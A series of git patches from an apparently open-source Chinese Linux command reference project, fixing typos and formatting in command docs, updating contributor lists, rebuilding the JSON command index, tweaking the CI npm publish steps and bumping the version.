Date: Fri, 24 Feb 2023 13:22:05 +0000 Subject: [PATCH 110/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 3 +++ 1 file changed, 3 insertions(+) diff --git a/template/contributors.ejs b/template/contributors.ejs index 287ca782550..7dff4ba435d 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -312,6 +312,9 @@ sunls24 + + tangke + UniqueDing From 4b1b488206d3db1bf395d9d223754d56c1689a5a Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83=E2=84=A2?= Date: Fri, 24 Feb 2023 21:32:36 +0800 Subject: [PATCH 111/570] doc: fix typo. #472 --- command/hdparm.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/command/hdparm.md b/command/hdparm.md index eafcd7abb14..4b7ea235c9d 100644 --- a/command/hdparm.md +++ b/command/hdparm.md @@ -21,7 +21,7 @@ hdparm(选项)(参数) -c：设定IDE32位I/O模式； -C：检测IDE硬盘的电源管理模式； -d<0或1>：设定磁盘的DMA模式； --f：将内存缓冲区的数据写入硬盘，并清楚缓冲区； +-f：将内存缓冲区的数据写入硬盘，并清除缓冲区； -g：显示硬盘的磁轨，磁头，磁区等参数； -h：显示帮助； -i：显示硬盘的硬件规格信息，这些信息是在开机时由硬盘本身所提供； From e2a325a95eeb46b0e230dea5e9eb2f409d73c637 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Fri, 24 Feb 2023 21:51:33 +0800 Subject: [PATCH 112/570] doc: update smartmontools.md (#471) --- command/{smartmontools .md => smartmontools.md} | 15 ++++++++------- 1 file changed, 8 insertions(+), 7 deletions(-) rename command/{smartmontools .md => smartmontools.md} (94%) diff --git a/command/smartmontools .md b/command/smartmontools.md similarity index 94% rename from command/smartmontools .md rename to command/smartmontools.md index 9627ff61967..beca325b0da 100644 --- a/command/smartmontools .md +++ b/command/smartmontools.md @@ -3,18 +3,19 @@ Smartmontools Smartmontools 是一种硬盘检测工具，通过控制和管理硬盘的SMART（Self Monitoring Analysis and Reporting Technology，自动检测分析及报告技术）技术来实现的 -### 安装 +##安装 + ```shell sudo aptitude install smartmontools ``` -### 语法 +## 语法 ```shell smartctl (选项) (参数) ``` -### 选项 +## 选项 ```shell -i <硬盘> 显示硬盘设备的标识信息 -a <硬盘> 显示设备的所有SMART信息 @@ -22,7 +23,7 @@ smartctl (选项) (参数) -A <硬盘> 显示设备SMART供应商特定的属性和值 ``` -### 参数 +## 参数 硬盘设备：指定要查看的硬盘(可以使用 fdisk -l 获取有哪些硬盘设备) ```shell @@ -32,7 +33,7 @@ smartctl (选项) (参数) /dev/sda2 1050624 976771071 975720448 465.3G Linux 文件系统 ``` -### 实例 +## 实例 查看 /dev/sda1 硬盘的健康状态，在这个命令中，"-s on"标志开启指定设备上的SMART功能。如果/dev/sda上已开启SMART支持，那就省略它。\ （PASSED 表示健康；FAILED 表示即将出现故障所以需要开始备份这块磁盘上的重要数据） @@ -68,7 +69,7 @@ ID# ATTRIBUTE_NAME FLAG VALUE WORST THRESH TYPE UPDATED WHEN_ 194 Temperature_Celsius 0x0022 060 055 040 Old_age Always - 40 (Min/Max 16/44) ``` -#### 以指定的间隔运行，同时又能通知硬盘的测试结果 +### 以指定的间隔运行，同时又能通知硬盘的测试结果 首先，编辑smartctl的配置文件(/etc/default/smartmontools)以便在系统启动时启动smartd，并以秒为单位指定间隔时间（如7200 = 2小时） ```shell @@ -82,7 +83,7 @@ smartd_opts="--interval=7200" ``` 选项说明 \ --m ：指定发送测试报告到某个电子邮件地址。这里可以是系统用户比如root，或者如果服务器已经配置成发送电子邮件到系统外部，则是类似于myemail@mydomain.com的邮件地址。\ +-m ：指定发送测试报告到某个电子邮件地址。这里可以是系统用户比如root，或者如果服务器已经配置成发送电子邮件到系统外部，则是类似于 myemail@mydomain.com 的邮件地址。\ -M ：指定发送邮件报告的期望类型。\ once：为检测到的每种磁盘问题只发送一封警告邮件。\ daily：为检测到的每种磁盘问题每隔一天发送一封额外的警告提醒邮件。\ From cfbd0d464321e161f4935c9947109bb1180fd80f Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Fri, 24 Feb 2023 21:55:33 +0800 Subject: [PATCH 113/570] doc: update smartmontools.md (#471) --- command/smartmontools.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/command/smartmontools.md b/command/smartmontools.md index beca325b0da..89a9e525124 100644 --- a/command/smartmontools.md +++ b/command/smartmontools.md @@ -1,4 +1,4 @@ -Smartmontools +smartmontools === Smartmontools 是一种硬盘检测工具，通过控制和管理硬盘的SMART（Self Monitoring Analysis and Reporting Technology，自动检测分析及报告技术）技术来实现的 From 4be858f58b4228e9505e11c850ab62390846b5ba Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Fri, 24 Feb 2023 21:55:52 +0800 Subject: [PATCH 114/570] chore: build data. (#471) --- dist/data.json | 5 +++++ dist/data.min.json | 2 +- 2 files changed, 6 insertions(+), 1 deletion(-) diff --git a/dist/data.json b/dist/data.json index 3f4d76a45a4..3ef2f5c55fb 100644 --- a/dist/data.json +++ b/dist/data.json @@ -2274,6 +2274,11 @@ "p": "/slocate", "d": "命令查找文件或目录" }, + "Smartmontools": { + "n": "Smartmontools", + "p": "/smartmontools", + "d": "Smartmontools 是一种硬盘检测工具，通过控制和管理硬盘的SMART（Self Monitoring Analysis and Reporting Technology，自动检测分析及报告技术）技术来实现的" + }, "smbclient": { "n": "smbclient", "p": "/smbclient", diff --git a/dist/data.min.json b/dist/data.min.json index db1defc37d9..f7f51b2886d 100644 --- a/dist/data.min.json +++ b/dist/data.min.json @@ -1 +1 @@ -{"7z":{"n":"7z","p":"/7z","d":"拥有极高压缩比的开源压缩软件。"},"ab":{"n":"ab","p":"/ab","d":"Apache服务器的性能测试工具"},"accept":{"n":"accept","p":"/accept","d":"指示打印系统接受发往指定目标打印机的打印任务"},"ack":{"n":"ack","p":"/ack","d":"比grep好用的文本搜索工具"},"ag":{"n":"ag","p":"/ag","d":"ack 的升级版，C语言编写，更快更人性化"},"alias":{"n":"alias","p":"/alias","d":"定义或显示别名。"},"apachectl":{"n":"apachectl","p":"/apachectl","d":"Apache服务器前端控制工具"},"apk":{"n":"apk","p":"/apk","d":"Alpine Linux 下的包管理工具"},"apropos":{"n":"apropos","p":"/apropos","d":"在 whatis 数据库中查找字符串"},"apt-get":{"n":"apt-get","p":"/apt-get","d":"Debian Linux发行版中的APT软件包管理工具"},"apt-key":{"n":"apt-key","p":"/apt-key","d":"管理Debian Linux系统中的软件包密钥"},"apt-sortpkgs":{"n":"apt-sortpkgs","p":"/apt-sortpkgs","d":"Debian Linux下对软件包索引文件进行排序的工具"},"aptitude":{"n":"aptitude","p":"/aptitude","d":"Debian Linux系统中软件包管理工具"},"ar":{"n":"ar","p":"/ar","d":"建立或修改备存文件，或是从备存文件中抽取文件"},"arch":{"n":"arch","p":"/arch","d":"显示当前主机的硬件架构类型"},"arj":{"n":"arj","p":"/arj","d":"用于创建和管理.arj压缩包"},"arp":{"n":"arp","p":"/arp","d":"arp 命令用于显示和修改 IP 到 MAC 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Window"},"stat":{"n":"stat","p":"/stat","d":"用于显示文件的状态信息"},"strace":{"n":"strace","p":"/strace","d":"跟踪系统调用和信号"},"strings":{"n":"strings","p":"/strings","d":"在对象文件或二进制文件中查找可打印的字符串"},"stty":{"n":"stty","p":"/stty","d":"修改终端命令行的相关设置"},"su":{"n":"su","p":"/su","d":"用于切换当前用户身份到其他用户身份"},"sudo":{"n":"sudo","p":"/sudo","d":"以其他身份来执行命令"},"sum":{"n":"sum","p":"/sum","d":"计算文件的校验码和显示块数"},"supervisord":{"n":"supervisord","p":"/supervisord","d":"配置后台服务/常驻进程的进程管家工具"},"suspend":{"n":"suspend","p":"/suspend","d":"挂起shell的执行。"},"swapoff":{"n":"swapoff","p":"/swapoff","d":"关闭指定的交换空间"},"swapon":{"n":"swapon","p":"/swapon","d":"激活Linux系统中交换空间"},"sync":{"n":"sync","p":"/sync","d":"用于强制被改变的内容立刻写入磁盘"},"sysctl":{"n":"sysctl","p":"/sysctl","d":"时动态地修改内核的运行参数"},"syslog":{"n":"syslog","p":"/syslog","d":"系统默认的日志守护进程"},"systemctl":{"n":"systemctl","p":"/systemctl","d":"系统服务管理器指令"},"systool":{"n":"systool","p":"/systool","d":"显示基于总线、类和拓扑显示系统中设备的信息"},"tac":{"n":"tac","p":"/tac","d":"连接多个文件并以行为单位反向打印到标准输出。"},"tail":{"n":"tail","p":"/tail","d":"在屏幕上显示指定文件的末尾若干行"},"tailf":{"n":"tailf","p":"/tailf","d":"在屏幕上显示指定文件的末尾若干行内容，通常用于日志文件的跟踪输出"},"talk":{"n":"talk","p":"/talk","d":"让用户和其他用户聊天"},"tar":{"n":"tar","p":"/tar","d":"将许多文件一起保存至一个单独的磁带或磁盘归档，并能从归档中单独还原所需文件。"},"tcpdump":{"n":"tcpdump","p":"/tcpdump","d":"一款sniffer工具，是Linux上的抓包工具，嗅探器"},"tcpreplay":{"n":"tcpreplay","p":"/tcpreplay","d":"将PCAP包重新发送，用于性能或者功能测试"},"tee":{"n":"tee","p":"/tee","d":"从标准输入读取数据并重定向到标准输出和文件。"},"telinit":{"n":"telinit","p":"/telinit","d":"切换当前正在运行系统的运行等级"},"telnet":{"n":"telnet","p":"/telnet","d":"登录远程主机和管理(测试ip端口是否连通)"},"tempfile":{"n":"tempfile","p":"/tempfile","d":"shell中给临时文件命名"},"test":{"n":"test","p":"/test","d":"执行条件表达式。"},"tftp":{"n":"tftp","p":"/tftp","d":"在本机和tftp服务器之间使用TFTP协议传输文件"},"time":{"n":"time","p":"/time","d":"统计给定命令所花费的总时间"},"timedatectl":{"n":"timedatectl","p":"/timedatectl","d":"用于在 Linux 中设置或查询系统时间、日期和时区等配置。"},"times":{"n":"times","p":"/times","d":"显示进程累计时间。"},"tload":{"n":"tload","p":"/tload","d":"显示系统负载状况"},"tmux":{"n":"tmux","p":"/tmux","d":"Tmux是一个优秀的终端复用软件，类似GNU Screen，但来自于OpenBSD，采用BSD授权"},"top":{"n":"top","p":"/top","d":"显示或管理执行中的程序"},"touch":{"n":"touch","p":"/touch","d":"创建新的空文件"},"tput":{"n":"tput","p":"/tput","d":"通过terminfo数据库对终端会话进行初始化和操作"},"tr":{"n":"tr","p":"/tr","d":"将字符进行替换压缩和删除"},"tracepath":{"n":"tracepath","p":"/tracepath","d":"追踪目的主机经过的路由信息"},"traceroute":{"n":"traceroute","p":"/traceroute","d":"显示数据包到主机间的路径"},"trap":{"n":"trap","p":"/trap","d":"捕捉信号和其他事件并执行命令。"},"tree":{"n":"tree","p":"/tree","d":"树状图列出目录的内容"},"true":{"n":"true","p":"/true","d":"返回状态为成功。"},"tty":{"n":"tty","p":"/tty","d":"显示连接到当前标准输入的终端设备文件名"},"type":{"n":"type","p":"/type","d":"显示指定命令的类型。"},"ulimit":{"n":"ulimit","p":"/ulimit","d":"控制shell程序的资源"},"umask":{"n":"umask","p":"/umask","d":"显示或设置创建文件的权限掩码。"},"umount":{"n":"umount","p":"/umount","d":"用于卸载已经加载的文件系统"},"unalias":{"n":"unalias","p":"/unalias","d":"删除由alias设置的别名"},"uname":{"n":"uname","p":"/uname","d":"打印系统信息。"},"unarj":{"n":"unarj","p":"/unarj","d":"解压缩由arj命令创建的压缩包"},"uncompress":{"n":"uncompress","p":"/uncompress","d":"用来解压.Z文件"},"unexpand":{"n":"unexpand","p":"/unexpand","d":"将文件的空白字符转换为制表符"},"uniq":{"n":"uniq","p":"/uniq","d":"显示或忽略重复的行。"},"unlink":{"n":"unlink","p":"/unlink","d":"系统调用函数unlink去删除指定的文件"},"unprotoize":{"n":"unprotoize","p":"/unprotoize","d":"删除C语言源代码文件中的函数原型"},"unrar":{"n":"unrar","p":"/unrar","d":"解压rar文件命令，从 rar 压缩包中提取文件"},"unset":{"n":"unset","p":"/unset","d":"删除指定的shell变量或函数。"},"unzip":{"n":"unzip","p":"/unzip","d":"用于解压缩由zip命令压缩的压缩包"},"updatedb":{"n":"updatedb","p":"/updatedb","d":"创建或更新slocate命令所必需的数据库文件"},"uptime":{"n":"uptime","p":"/uptime","d":"查看Linux系统负载信息"},"useradd":{"n":"useradd","p":"/useradd","d":"创建的新的系统用户"},"userdel":{"n":"userdel","p":"/userdel","d":"用于删除给定的用户以及与用户相关的文件"},"usermod":{"n":"usermod","p":"/usermod","d":"用于修改用户的基本信息"},"usernetctl":{"n":"usernetctl","p":"/usernetctl","d":"被允许时操作指定的网络接口"},"users":{"n":"users","p":"/users","d":"打印当前主机所有登陆用户的名称。"},"uucico":{"n":"uucico","p":"/uucico","d":"UUCP文件传输服务程序"},"uupick":{"n":"uupick","p":"/uupick","d":"命令处理传送进来的文件"},"uuto":{"n":"uuto","p":"/uuto","d":"将文件传送到远端的UUCP主机"},"vdfuse":{"n":"vdfuse","p":"/vdfuse","d":"VirtualBox软件挂载VDI分区文件工具"},"vgchange":{"n":"vgchange","p":"/vgchange","d":"修改卷组属性"},"vgconvert":{"n":"vgconvert","p":"/vgconvert","d":"转换卷组元数据格式"},"vgcreate":{"n":"vgcreate","p":"/vgcreate","d":"用于创建LVM卷组"},"vgdisplay":{"n":"vgdisplay","p":"/vgdisplay","d":"显示LVM卷组的信息"},"vgextend":{"n":"vgextend","p":"/vgextend","d":"向卷组中添加物理卷"},"vgreduce":{"n":"vgreduce","p":"/vgreduce","d":"从卷组中删除物理卷"},"vgremove":{"n":"vgremove","p":"/vgremove","d":"用于用户删除LVM卷组"},"vgrename":{"n":"vgrename","p":"/vgrename","d":"使用vgrename命令可以重命名卷组的名称"},"vgscan":{"n":"vgscan","p":"/vgscan","d":"扫描并显示系统中的卷组"},"vi":{"n":"vi","p":"/vi","d":"功能强大的纯文本编辑器"},"vmstat":{"n":"vmstat","p":"/vmstat","d":"显示虚拟内存状态"},"volname":{"n":"volname","p":"/volname","d":"显示指定的ISO-9660格式的设备的卷名称"},"w":{"n":"w","p":"/w","d":"显示目前登入系统的用户信息"},"wait":{"n":"wait","p":"/wait","d":"等待进程执行完后返回"},"wall":{"n":"wall","p":"/wall","d":"向系统当前所有打开的终端上输出信息"},"watch":{"n":"watch","p":"/watch","d":"可以将命令的输出结果输出到标准输出设备，多用于周期性执行命令/定时执行命令"},"wc":{"n":"wc","p":"/wc","d":"统计文件的字节数、字数、行数"},"wget":{"n":"wget","p":"/wget","d":"Linux系统下载文件工具"},"whatis":{"n":"whatis","p":"/whatis","d":"查询一个命令执行什么功能"},"whereis":{"n":"whereis","p":"/whereis","d":"查找二进制程序、代码等相关文件路径"},"which":{"n":"which","p":"/which","d":"查找并显示给定命令的绝对路径"},"who":{"n":"who","p":"/who","d":"显示当前所有登陆用户的信息。"},"whoami":{"n":"whoami","p":"/whoami","d":"打印当前有效的用户ID对应的名称"},"write":{"n":"write","p":"/write","d":"向指定登录用户终端上发送信息"},"xargs":{"n":"xargs","p":"/xargs","d":"给其他命令传递参数的一个过滤器"},"xauth":{"n":"xauth","p":"/xauth","d":"显示和编辑被用于连接X服务器的认证信息"},"xclip":{"n":"xclip","p":"/xclip","d":"管理 X 粘贴板"},"xhost":{"n":"xhost","p":"/xhost","d":"制哪些X客户端能够在X服务器上显示"},"xinit":{"n":"xinit","p":"/xinit","d":"是Linux下X-Window系统的初始化程序"},"xlsatoms":{"n":"xlsatoms","p":"/xlsatoms","d":"列出X服务器内部所有定义的原子成分"},"xlsclients":{"n":"xlsclients","p":"/xlsclients","d":"列出显示器中的客户端应用程序"},"xlsfonts":{"n":"xlsfonts","p":"/xlsfonts","d":"列出X Server使用的字体"},"xrandr":{"n":"xrandr","p":"/xrandr","d":"X 窗口系统配置管理工具"},"xset":{"n":"xset","p":"/xset","d":"设置X-Window系统中的用户爱好的实用工具"},"xz":{"n":"xz","p":"/xz","d":"POSIX 平台开发具有高压缩率的工具"},"yes":{"n":"yes","p":"/yes","d":"重复打印指定字符串"},"ypdomainname":{"n":"ypdomainname","p":"/ypdomainname","d":"显示主机的NIS的域名"},"yum":{"n":"yum","p":"/yum","d":"基于RPM的软件包管理器"},"zcat":{"n":"zcat","p":"/zcat","d":"显示压缩包中文件的内容"},"zfore":{"n":"zfore","p":"/zfore","d":"强制为gzip格式的压缩文件添加.gz后缀"},"zip":{"n":"zip","p":"/zip","d":"可以用来解压缩文件"},"zipinfo":{"n":"zipinfo","p":"/zipinfo","d":"用来列出压缩文件信息"},"zipsplit":{"n":"zipsplit","p":"/zipsplit","d":"将较大的zip压缩包分割成各个较小的压缩包"},"znew":{"n":"znew","p":"/znew","d":"将.Z压缩包重新转化为gzip命令压缩的.gz压缩包"}} \ No newline at end of file From 442469faff612fec6af345e01d14182cd762b88e Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Fri, 24 Feb 2023 22:00:35 +0800 Subject: [PATCH 115/570] chore: update workflows config. --- .github/workflows/ci.yml | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 8d362975c73..c9cb877e3f3 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -12,6 +12,7 @@ jobs: - uses: actions/setup-node@v3 with: node-version: 16 + registry-url: 'https://registry.npmjs.org' - name: Generate Contributors Images uses: jaywcjlove/github-action-contributors@main @@ -126,6 +127,12 @@ jobs: npm install @jsdevtools/npm-publish -g npm-publish --token="${{ secrets.NPM_TOKEN }}" ./package.json + - run: npm publish + continue-on-error: true + name: 📦 linux-command publish to NPM + env: + NODE_AUTH_TOKEN: ${{secrets.GITHUB_TOKEN}} + # Create Docker Image - name: Set up Docker Buildx uses: docker/setup-buildx-action@v2 From b1402763e222ec90fffdb4cd83566fa9b5ecd651 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Fri, 24 Feb 2023 22:03:15 +0800 Subject: [PATCH 116/570] released v1.14.0 --- package.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/package.json b/package.json index fe25adb0d02..242fbe5bd2b 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "linux-command", - "version": "1.13.1", + "version": "1.14.0", "description": "Linux Command", "homepage": "https://jaywcjlove.github.io/linux-command/", "main": "dist/data.json", From 2075046db498d2881db16a72b1497ac136b0d2ab Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Fri, 24 Feb 2023 22:06:25 +0800 Subject: [PATCH 117/570] chore: update workflows config. --- .github/workflows/ci.yml | 5 ----- 1 file changed, 5 deletions(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index c9cb877e3f3..1c31a07f603 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -122,11 +122,6 @@ jobs: http://localhost:9665/ ``` - - name: Push Npm - run: | - npm install @jsdevtools/npm-publish -g - npm-publish --token="${{ secrets.NPM_TOKEN }}" ./package.json - - run: npm publish continue-on-error: true name: 📦 linux-command publish to NPM From 102422c5d08e1ea23983515cf8933645815d084c Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E8=B0=88=E7=AC=91=E9=A3=8E=E7=94=9F=E9=97=B4?= Date: Sun, 26 Feb 2023 22:25:36 +0800 Subject: [PATCH 118/570] doc: update su.md (#473) --- command/su.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/command/su.md b/command/su.md index dc7a2676858..1396594ac37 100644 --- a/command/su.md +++ b/command/su.md @@ -46,7 +46,7 @@ su root -f 变更帐号为test并改变工作目录至test的家目录： ```shell -su -test +su - test ``` From 6a54daf7dda971ce219e84e4c8ed74fca08a41be Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sun, 26 Feb 2023 14:26:06 +0000 Subject: [PATCH 119/570] doc: update README.md. --- README.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 85c8c05a7a8..cabd1ef7668 100644 --- a/README.md +++ b/README.md @@ -406,6 +406,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 ernest + + 谈笑风生间 + Ein Verne @@ -430,9 +433,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Shell - - 谈笑风生间 - DaYangtuo247 From b27085013f0bbf4be576a458757b344eb4070a78 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sun, 26 Feb 2023 14:26:07 +0000 Subject: [PATCH 120/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 7dff4ba435d..924087a7325 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -69,6 +69,9 @@ ernest + + 谈笑风生间 + Ein Verne @@ -93,9 +96,6 @@ Shell - - 谈笑风生间 - DaYangtuo247 From f7d88a976fa74948e5050df19d67f9e5ae8d81cc Mon Sep 17 00:00:00 2001 From: Jeremy2214 <97098763+Jeremy2214@users.noreply.github.com> Date: Thu, 2 Mar 2023 10:26:49 +0800 Subject: [PATCH 121/570] doc: Update curl.md (#474) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 修改错别字 ”祝一臂之力“修改成”助一臂之力“ --- command/curl.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/command/curl.md b/command/curl.md index b263ae5f548..10ae30983d1 100644 --- a/command/curl.md +++ b/command/curl.md @@ -5,7 +5,7 @@ curl ## 补充说明 -**curl命令** 是一个利用URL规则在命令行下工作的文件传输工具。它支持文件的上传和下载，所以是综合传输工具，但按传统，习惯称curl为下载工具。作为一款强力工具，curl支持包括HTTP、HTTPS、ftp等众多协议，还支持POST、cookies、认证、从指定偏移处下载部分文件、用户代理字符串、限速、文件大小、进度条等特征。做网页处理流程和数据检索自动化，curl可以祝一臂之力。 +**curl命令** 是一个利用URL规则在命令行下工作的文件传输工具。它支持文件的上传和下载，所以是综合传输工具，但按传统，习惯称curl为下载工具。作为一款强力工具，curl支持包括HTTP、HTTPS、ftp等众多协议，还支持POST、cookies、认证、从指定偏移处下载部分文件、用户代理字符串、限速、文件大小、进度条等特征。做网页处理流程和数据检索自动化，curl可以助一臂之力。 ### 语法 From fe09c2f8c4e3c13798a6aef4baac1de315bc6cde Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 2 Mar 2023 02:27:41 +0000 Subject: [PATCH 122/570] doc: update README.md. --- README.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/README.md b/README.md index cabd1ef7668..fe1ceda4c60 100644 --- a/README.md +++ b/README.md @@ -463,6 +463,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Jack.A.Black + + Jeremy2214 + LaudOak From f85e848ba82a091e96dfe1f812da9f3f894b3ee6 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 2 Mar 2023 02:27:42 +0000 Subject: [PATCH 123/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 3 +++ 1 file changed, 3 insertions(+) diff --git a/template/contributors.ejs b/template/contributors.ejs index 924087a7325..30844553b9c 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -126,6 +126,9 @@ Jack.A.Black + + Jeremy2214 + LaudOak From d6290e9659efb03305c36ad50007b3fbc74af455 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83=E2=84=A2?= Date: Wed, 8 Mar 2023 21:13:47 +0800 Subject: [PATCH 124/570] doc: Update zip.md --- command/zip.md | 1 + 1 file changed, 1 insertion(+) diff --git a/command/zip.md b/command/zip.md index d0aa8a8b44c..dba048c88a8 100644 --- a/command/zip.md +++ b/command/zip.md @@ -11,6 +11,7 @@ zip ```shell zip(选项)(参数) +zip [-选项] [-b 路径] [-t 日期] [-n 后缀名] [压缩文件列表] [-xi 列表] ``` ### 选项 From b6e2cd831ef94930e04b19137c127a536d4948cd Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Thu, 9 Mar 2023 11:10:08 +0800 Subject: [PATCH 125/570] chore(deps): update dependency colors-cli to ~1.0.31 --- dist/data.json | 4 ++-- dist/data.min.json | 2 +- package.json | 2 +- scripts/build.mjs | 2 +- 4 files changed, 5 insertions(+), 5 deletions(-) diff --git a/dist/data.json b/dist/data.json index 3ef2f5c55fb..44787d5211f 100644 --- a/dist/data.json +++ b/dist/data.json @@ -2274,8 +2274,8 @@ "p": "/slocate", "d": "命令查找文件或目录" }, - "Smartmontools": { - "n": "Smartmontools", + "smartmontools": { + "n": "smartmontools", "p": "/smartmontools", "d": "Smartmontools 是一种硬盘检测工具，通过控制和管理硬盘的SMART（Self Monitoring Analysis and Reporting Technology，自动检测分析及报告技术）技术来实现的" }, diff --git a/dist/data.min.json b/dist/data.min.json index f7f51b2886d..2d0cb83064c 100644 --- a/dist/data.min.json +++ b/dist/data.min.json @@ -1 +1 @@ -{"7z":{"n":"7z","p":"/7z","d":"拥有极高压缩比的开源压缩软件。"},"ab":{"n":"ab","p":"/ab","d":"Apache服务器的性能测试工具"},"accept":{"n":"accept","p":"/accept","d":"指示打印系统接受发往指定目标打印机的打印任务"},"ack":{"n":"ack","p":"/ack","d":"比grep好用的文本搜索工具"},"ag":{"n":"ag","p":"/ag","d":"ack 的升级版，C语言编写，更快更人性化"},"alias":{"n":"alias","p":"/alias","d":"定义或显示别名。"},"apachectl":{"n":"apachectl","p":"/apachectl","d":"Apache服务器前端控制工具"},"apk":{"n":"apk","p":"/apk","d":"Alpine Linux 下的包管理工具"},"apropos":{"n":"apropos","p":"/apropos","d":"在 whatis 数据库中查找字符串"},"apt-get":{"n":"apt-get","p":"/apt-get","d":"Debian Linux发行版中的APT软件包管理工具"},"apt-key":{"n":"apt-key","p":"/apt-key","d":"管理Debian Linux系统中的软件包密钥"},"apt-sortpkgs":{"n":"apt-sortpkgs","p":"/apt-sortpkgs","d":"Debian Linux下对软件包索引文件进行排序的工具"},"aptitude":{"n":"aptitude","p":"/aptitude","d":"Debian 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Window"},"stat":{"n":"stat","p":"/stat","d":"用于显示文件的状态信息"},"strace":{"n":"strace","p":"/strace","d":"跟踪系统调用和信号"},"strings":{"n":"strings","p":"/strings","d":"在对象文件或二进制文件中查找可打印的字符串"},"stty":{"n":"stty","p":"/stty","d":"修改终端命令行的相关设置"},"su":{"n":"su","p":"/su","d":"用于切换当前用户身份到其他用户身份"},"sudo":{"n":"sudo","p":"/sudo","d":"以其他身份来执行命令"},"sum":{"n":"sum","p":"/sum","d":"计算文件的校验码和显示块数"},"supervisord":{"n":"supervisord","p":"/supervisord","d":"配置后台服务/常驻进程的进程管家工具"},"suspend":{"n":"suspend","p":"/suspend","d":"挂起shell的执行。"},"swapoff":{"n":"swapoff","p":"/swapoff","d":"关闭指定的交换空间"},"swapon":{"n":"swapon","p":"/swapon","d":"激活Linux系统中交换空间"},"sync":{"n":"sync","p":"/sync","d":"用于强制被改变的内容立刻写入磁盘"},"sysctl":{"n":"sysctl","p":"/sysctl","d":"时动态地修改内核的运行参数"},"syslog":{"n":"syslog","p":"/syslog","d":"系统默认的日志守护进程"},"systemctl":{"n":"systemctl","p":"/systemctl","d":"系统服务管理器指令"},"systool":{"n":"systool","p":"/systool","d":"显示基于总线、类和拓扑显示系统中设备的信息"},"tac":{"n":"tac","p":"/tac","d":"连接多个文件并以行为单位反向打印到标准输出。"},"tail":{"n":"tail","p":"/tail","d":"在屏幕上显示指定文件的末尾若干行"},"tailf":{"n":"tailf","p":"/tailf","d":"在屏幕上显示指定文件的末尾若干行内容，通常用于日志文件的跟踪输出"},"talk":{"n":"talk","p":"/talk","d":"让用户和其他用户聊天"},"tar":{"n":"tar","p":"/tar","d":"将许多文件一起保存至一个单独的磁带或磁盘归档，并能从归档中单独还原所需文件。"},"tcpdump":{"n":"tcpdump","p":"/tcpdump","d":"一款sniffer工具，是Linux上的抓包工具，嗅探器"},"tcpreplay":{"n":"tcpreplay","p":"/tcpreplay","d":"将PCAP包重新发送，用于性能或者功能测试"},"tee":{"n":"tee","p":"/tee","d":"从标准输入读取数据并重定向到标准输出和文件。"},"telinit":{"n":"telinit","p":"/telinit","d":"切换当前正在运行系统的运行等级"},"telnet":{"n":"telnet","p":"/telnet","d":"登录远程主机和管理(测试ip端口是否连通)"},"tempfile":{"n":"tempfile","p":"/tempfile","d":"shell中给临时文件命名"},"test":{"n":"test","p":"/test","d":"执行条件表达式。"},"tftp":{"n":"tftp","p":"/tftp","d":"在本机和tftp服务器之间使用TFTP协议传输文件"},"time":{"n":"time","p":"/time","d":"统计给定命令所花费的总时间"},"timedatectl":{"n":"timedatectl","p":"/timedatectl","d":"用于在 Linux 中设置或查询系统时间、日期和时区等配置。"},"times":{"n":"times","p":"/times","d":"显示进程累计时间。"},"tload":{"n":"tload","p":"/tload","d":"显示系统负载状况"},"tmux":{"n":"tmux","p":"/tmux","d":"Tmux是一个优秀的终端复用软件，类似GNU 